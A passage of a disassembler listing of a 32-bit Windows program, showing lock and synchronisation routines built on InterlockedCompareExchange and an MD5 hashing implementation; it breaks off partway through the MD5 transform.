loc_4333D7:				; CODE XREF: ___:004333FBj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4333ED:				; CODE XREF: ___:004333C3j
		push	1
		push	0
		push	esi
		call	dword_50E3AC	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_4333D7
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433408:				; CODE XREF: ___:004333BEj
		push	offset dword_50E920
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43342F
		push	offset dword_50E920
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43342F:				; CODE XREF: ___:00433416j
		push	offset dword_50E920
		mov	ebx, 10h
		call	near ptr 7C9010EDh
		nop


loc_43343F:				; CODE XREF: ___:004333D5j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433445:				; CODE XREF: ___:004333ABj
					; ___:004333B5j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433480:				; CODE XREF: ___:004021C1j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_4334E1
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4334E1
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4334A1
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_4334E6


loc_4334A1:				; CODE XREF: ___:00433492j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3AC	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_4334C3


loc_4334B3:				; CODE XREF: ___:004334C1j
		push	1
		push	2
		push	esi
		call	dword_50E3AC	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_4334B3


loc_4334C3:				; CODE XREF: ___:004334B1j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_4334CE
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334CE:				; CODE XREF: ___:004334C8j
		cmp	eax, 3
		jnz	short loc_4334E1
		add	esi, 4
		push	esi
		call	sub_402225
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334E1:				; CODE XREF: ___:00433487j
					; ___:0043348Dj ...
		mov	eax, 16h


loc_4334E6:				; CODE XREF: ___:0043349Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433510:				; CODE XREF: ___:00401AA5j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_433551
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433551
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43352B


loc_433524:				; CODE XREF: ___:00433537j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43352B:				; CODE XREF: ___:00433522j
		push	2
		push	1
		push	esi
		call	dword_50E3AC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_433524
		dec	eax
		jz	short loc_43354D
		dec	eax
		jnz	short loc_433551
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43354D:				; CODE XREF: ___:0043353Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433551:				; CODE XREF: ___:00433517j
					; ___:0043351Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433580:				; CODE XREF: ___:00401933j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_4335D0
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4335D0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4335A1
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_4335D5


loc_4335A1:				; CODE XREF: ___:00433592j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3AC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_4335CC
		dec	eax
		jz	short loc_4335C5
		dec	eax
		jnz	short loc_4335D0
		add	esi, 4
		push	esi
		call	sub_40177B
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335C5:				; CODE XREF: ___:004335B2j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335CC:				; CODE XREF: ___:004335AFj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335D0:				; CODE XREF: ___:00433587j
					; ___:0043358Dj ...
		mov	eax, 16h


loc_4335D5:				; CODE XREF: ___:0043359Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433600:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43362C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_433627
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433627:				; CODE XREF: ___:0043361Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43362C:				; CODE XREF: ___:00433612j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433640	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_4336CC
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_433664
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433664:				; CODE XREF: sub_433640+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_43367D
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43367D:				; CODE XREF: sub_433640+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_43368D
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43368D:				; CODE XREF: sub_433640+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0D327E890h, 0C0850233h, 0E8560E74h, 0FFFCE0F1h, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_4336CC:				; CODE XREF: sub_433640+12j
		pop	esi
		retn
sub_433640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433700	proc near		; CODE XREF: sub_4015FFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433725
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433725:				; CODE XREF: sub_433700+15j
		nop
		call	near ptr 2770689h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_43374E
		push	esi
		mov	edi, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43374E:				; CODE XREF: sub_433700+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_43376B
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43376B:				; CODE XREF: sub_433700+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_433700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4337A0	proc near		; CODE XREF: sub_401AA0j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_433830
		cmp	[ebx+0Ch], ebp
		jz	short loc_43380C
		cmp	[ebx+4], ebp
		jz	short loc_43380C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43380C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_4337FF
		push	edi


loc_4337D3:				; CODE XREF: sub_4337A0+5Cj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_4337FA
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_4337FA:				; CODE XREF: sub_4337A0+3Ej
		cmp	esi, ebp
		jnz	short loc_4337D3
		pop	edi


loc_4337FF:				; CODE XREF: sub_4337A0+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_43380C:				; CODE XREF: sub_4337A0+13j
					; sub_4337A0+18j ...
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 2770000h
		cmp	[ebx+4], ebp
		jz	short loc_433826
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_40222F
		add	esp, 4


loc_433826:				; CODE XREF: sub_4337A0+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_433830:				; CODE XREF: sub_4337A0+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_4337A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_433870	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_50E398
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_433894
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4338A3
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433894:				; CODE XREF: sub_433870+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_4338A3
		mov	eax, ebx


loc_4338A3:				; CODE XREF: sub_433870+1Aj
					; sub_433870+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_433905
		test	eax, eax
		jz	short loc_4338F2
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_4338F2
		test	ebx, ebx
		jz	short loc_4338F2
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_4338DD


loc_4338C7:				; CODE XREF: sub_433870+65j
		cmp	[ecx+8], esi
		jz	short loc_4338D9
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_4338C7
		jmp	short loc_4338DD
; ---------------------------------------------------------------------------


loc_4338D9:				; CODE XREF: sub_433870+5Aj
		test	ecx, ecx
		jnz	short loc_4338F2


loc_4338DD:				; CODE XREF: sub_433870+55j
					; sub_433870+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DC5
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_433905


loc_4338F2:				; CODE XREF: sub_433870+3Cj
					; sub_433870+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		call	near ptr 2780C83h
		nop
		test	eax, eax
		jnz	short loc_433905
		mov	edi, 0Bh


loc_433905:				; CODE XREF: sub_433870+38j
					; sub_433870+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_433870	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_433940	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27F08BCh
		mov	esi, eax
		call	sub_436FEA
sub_433940	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0D206E851h, 56900232h, 0E890D88Bh
		dd 232D389h, 36C4E857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_433990	proc near		; CODE XREF: sub_401A55j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_433990	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4339D0	proc near		; CODE XREF: sub_401C12j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_4339FB
		inc	dword ptr [esi+14h]


loc_4339FB:				; CODE XREF: sub_4339D0+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_433A59
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_4347D0
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_433B40
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_433A55


loc_433A39:				; CODE XREF: sub_4339D0+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_433B40
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_433A39


loc_433A55:				; CODE XREF: sub_4339D0+67j
		xor	eax, eax
		jmp	short loc_433A5B
; ---------------------------------------------------------------------------


loc_433A59:				; CODE XREF: sub_4339D0+41j
		xor	ebp, ebp


loc_433A5B:				; CODE XREF: sub_4339D0+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_4347D0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4339D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433AB0	proc near		; CODE XREF: sub_402158j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_4346F0
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_433AE3
		mov	ecx, 78h


loc_433AE3:				; CODE XREF: sub_433AB0+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "€"
		push	edi
		call	sub_401C12
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C12
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_4346F0
		push	58h
		push	0
		push	edi
		call	sub_434800
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_433AB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433B40	proc near		; CODE XREF: sub_4339D0+58p
					; sub_4339D0+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_434760
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
